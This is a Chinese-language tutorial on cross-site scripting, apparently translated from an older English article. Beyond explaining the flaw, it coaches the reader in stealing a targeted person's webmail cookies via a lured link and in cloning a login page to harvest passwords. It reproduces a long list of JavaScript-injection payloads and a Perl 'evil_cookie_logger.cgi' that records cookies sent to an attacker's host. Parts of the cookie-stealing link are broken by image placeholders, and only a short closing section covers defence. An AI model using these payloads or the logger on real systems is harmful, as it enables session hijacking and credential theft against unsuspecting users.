| 么是跨站腳本(CSS/XSS)? |
| 我們所說(shuō)跨站腳本是指在遠程WEB頁(yè)面的html代碼中插入的具有惡意目的的數據,用戶(hù)認為該 頁(yè)面是可信賴(lài)的,但是當瀏覽器下載該頁(yè)面,嵌入其中的腳本將被解釋執行, 有時(shí)候跨站腳本被稱(chēng)為"XSS",這是因為"CSS"一般被稱(chēng)為分層樣式表,這很容易讓人困惑, 如果 你聽(tīng)某人提到CSS或者XSS安全漏洞,通常指得是跨站腳本。 XSS和腳本注射的區別? 原文里作者是和他一個(gè)朋友(b0iler)討論后,才明白并非任何可利用腳本插入實(shí)現攻擊的 漏洞都被稱(chēng)為XSS,還有另一種攻擊方式:"Script Injection",他們的區別在以下兩點(diǎn): 1.(Script Injection)腳本插入攻擊會(huì )把我們插入的腳本保存在被修改的遠程WEB頁(yè)面里,如 :sql injection,XPath injection. 2.跨站腳本是臨時(shí)的,執行后就消失了 什么類(lèi)型的腳本可以被插入遠程頁(yè)面? 主流腳本包括以下幾種: HTML JavaScript (本文討論) VBScript ActiveX Flash 是什么原因導致一個(gè)站點(diǎn)存在XSS的安全漏洞? 許多cgi/php腳本執行時(shí),如果它發(fā)現客戶(hù)提交的請求頁(yè)面并不存在或其他類(lèi)型的錯誤時(shí), 出錯信息會(huì )被打印到一個(gè)html文件,并將該錯誤頁(yè)面發(fā)送給訪(fǎng)問(wèn)者。 例如: 404 - yourfile.html Not Found! 我們一般對這樣的信息不會(huì )注意,但是現在要研究CSS漏洞的成因,我們還是仔細看一下。 例:www.somesite.tld/cgi-bin/program.cgi?page=downloads.html 該URL指向的連接是有效的,但是如果我們把后面的downloads.html替換成brainrawt_owns_ me.html ,一個(gè)包含404 - brainrawt_owns_me.html Not Found! 信息的頁(yè)面將反饋給訪(fǎng)問(wèn)者的瀏覽 器。 考慮一下它是如何把我們的輸入寫(xiě)到html文件里的? OK,現在是我們檢查XSS漏洞的時(shí)候了! 注意:下面僅僅是一個(gè)例子,該頁(yè)面存在XSS漏洞,我們可以插入一寫(xiě)javascript代碼到頁(yè)面 里。當然方法很多 www.somesite.tld/cgi-bin/program.cgi?page=<script>alert(*XSS_Vuln_Testing*)</sc ript> 當我們提交這個(gè)URL的時(shí)候,在我們的瀏覽器中彈出一個(gè)消息框,"XSS_Vuln_Testing"? 這個(gè)例子只是一個(gè)XSS漏洞的簡(jiǎn)單演示,并無(wú)實(shí)際意義,但足以說(shuō)明問(wèn)題所在。 下面我們分析一下造成該運行結果的原因,program.cgi對我們的輸入沒(méi)有經(jīng)過(guò)有效過(guò)濾處理 , 就直接寫(xiě)入404 error頁(yè)面中,結果創(chuàng )建了一個(gè)頁(yè)面,如下: <html> <b>404</b> - <script>alert(*XSS_Vuln_Testing*)</script> Not Found! </html> 其中的javascript腳本通過(guò)瀏覽器解釋執行,然后就出現了你所看到的結果。 如何利用XSS來(lái)完成*ing? 如同前面所提到,如果用戶(hù)提交的請求不能得到滿(mǎn)足,那么服務(wù)器端腳本會(huì )把輸入信息寫(xiě)入 一個(gè) html文件,當服務(wù)器端程序對寫(xiě)入html文件的數據沒(méi)有進(jìn)行有效過(guò)濾,惡意腳本就可以插入 到 該html文件里。其他用戶(hù)瀏覽該連接的時(shí)候腳本將通過(guò)客戶(hù)端瀏覽器解釋執行。 事例: 假設你發(fā)現myemailserver.tld有CSS漏洞,你想要獲得其中一個(gè)人的email賬號,比如我們的 目標是b00b這個(gè)人。 www.myemailserver.tld/cgi-bin/news.cgi?article=59035 把上面存在CSS漏洞的連接修改一下: www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red 這會(huì )創(chuàng )建了一個(gè)錯誤頁(yè)面,我們得到如下信息: Invalid Input! [article=hax0red] 當插入下面這樣的javascript代碼時(shí),你的屏幕上會(huì )彈出一個(gè)包含test的消息框。 www.myemailserver.tld/cgi-bin/news.cgi?article=<script>alert(*test*)< /script> <script>并沒(méi)有打印到屏幕上,它是隱藏在背后執行,由于服務(wù)器端程序并沒(méi)有對 <script>alert(*test*)</script>進(jìn)行有效過(guò)濾,所以在頁(yè)面發(fā)回到瀏覽器并執行了該腳本 。 下面我們瞧瞧如何利用該漏洞入侵 b00b同志的郵箱,首先你必須知道b00b的email地址, 并且知道cookies的作用。那么你可以告訴b00b一個(gè)惡意的連接,嘿嘿,當然 它的用意就是從b00b機器中cookie信息里獲得自己想要的東東。 想辦法讓b00b訪(fǎng)問(wèn)myemailserver.tld站點(diǎn)發(fā)表的文章,比如說(shuō):”親愛(ài)的b00b,看看這個(gè)美 女 如何呀?” 那么當可憐的b00b訪(fǎng)問(wèn) www.myemailserver.tld/cgi-bin/news.cgi?article=<script>偷取 并保存cookie的腳本 </script> 連接時(shí),發(fā)生什么事情?cookie都有了,你該知道怎么辦了吧! 如果在你目前不是這樣的情形,你可以拷貝email服務(wù)器的登陸頁(yè)面,掛到其他的系統上, 然后引導用戶(hù)登陸你的惡意系統頁(yè)面 這樣用戶(hù)信息你可以記錄下來(lái),然后再把記錄的信息發(fā)送回真正的email服務(wù)器頁(yè)面, 那些笨蛋并不會(huì )意識到實(shí)際發(fā)生的事情。 把javascript腳本插入WEB頁(yè)面的不同方法: <snip> 拷貝自:GOBBLES SECURITY ADVISORY #33 Here is a cut-n-paste collection of typical JavaScript-injection *s you may derive some glee from playing with. <a href="javascript#[code]"> <div onmouseover="[code]"> <img src="/javascript:[code]"> <img dynsrc="/javascript:[code]"> [IE] <input type="image" dynsrc="/javascript:[code]"> [IE] <bgsound src="/javascript:[code]"> [IE] &<script>[code]</script> &{[code]}; [N4] <img src="/&";{[code]};> [N4] <link rel="stylesheet" href="/javascript:[code]"> <iframe src="/vbscript:[code]"> [IE] <img src="mocha:[code]"> [N4] <img src="/livescript:[code]"> [N4] <a href="about:<script>[code]</script>"> <meta http-equiv="refresh" content="0;url=javascript:[code]"> <body onload="[code]"> <div style="background-image: url(/javascript:[code]);"> <div style="behaviour: url([link to code]);"> [IE] <div style="binding: url([link to code]);"> [Mozilla] <div style="width: expression([code]);"> [IE] <style type="text/javascript">[code]</style> [N4] <object classid="clsid:..." codebase="javascript:[code]"> [IE] <style><!--</style><script>[code]//--></script> <![CDATA[<!--]]><script>[code]//--></script> <!-- -- --><script>[code]</script><!-- -- --> <script>[code]</script> <img src="/blah"onmouseover="[code]"> <img src="blah>" onmouseover="[code]"> <xml src="/javascript:[code]"> <xml id="X"><a><b><script>[code]</script>;</b></a></xml> <div datafld="b" dataformatas="html" datasrc="#X"></div> [\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF-8; IE, Opera] ----Copied from GOBBLES SECURITY ADVISORY #33---- </snip> 一個(gè)真正的獲取cookie并且做記錄的例子: 注意:要使它工作,你的瀏覽器必須允許接受 ![]() 當我測試下面的信息時(shí),使用 javascript創(chuàng )建訪(fǎng)問(wèn)者的cookies,javascript腳本放在index.html文件中。 OK,下面假設 ![]() ![]() 我們創(chuàng )建這樣一個(gè)連接: ![]() ![]() .tld /cgi-bin/evil_cookie_logger.cgi?*+documents.cookie</script> 然后讓保存該站點(diǎn)cookie的用戶(hù)訪(fǎng)問(wèn)這個(gè)連接: 這是我們的CGI腳本,它的作用就是對用戶(hù)cookie做記錄: ---------evil_cookie_logger.cgi----------- #!/usr/bin/perl # evil_cookie_logger.cgi # remote cookie logging CGI coded by BrainRawt # # NOTE: coded as a proof of concept script when testing for # cross-site scripting vulnerabilities. $borrowed_info = $ENV{*QUERY_STRING*}; $borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type: text/html\n\n something went wrong\n"; print EVIL_COOKIE_LOG "$borrowed_info\n"; print "Content-type: text/html\n\n"; close(EVIL_COOKIE_LOG); ------------------------------------------ 該腳本首先通過(guò) $ENV{*QUERY_STRING*}獲得cookie,打印到$borrowed_info變量里, 通過(guò)open(EVIL_COOKIE_LOG, ">>evil_cookie_log"),把cookie信息保存到evil_cookie_lo g文件。 注意:上面的javascript腳本,可能在一些瀏覽器或者站點(diǎn)上不能執行, 這僅僅是我在自己的站點(diǎn)上做測試用的。 如何防范XSS攻擊? 1.在你的WEB瀏覽器上禁用javascript腳本 2..開(kāi)發(fā)者要仔細審核代碼,對提交輸入數據進(jìn)行有效檢查,如"<"和">"。 可以把"<",">"轉換為<,> 注意:由于XSS漏洞可被利用的多樣性,程序員自己要明白具體需要過(guò)濾的字符, 這主要依賴(lài)于所開(kāi)發(fā)程序的作用,建議過(guò)濾掉所有元字符,包括"="。 對受害者來(lái)說(shuō)不要訪(fǎng)問(wèn)包含<script>字符的連接,一些官方的URL不會(huì )包括任何腳本元素。 |
聯(lián)系客服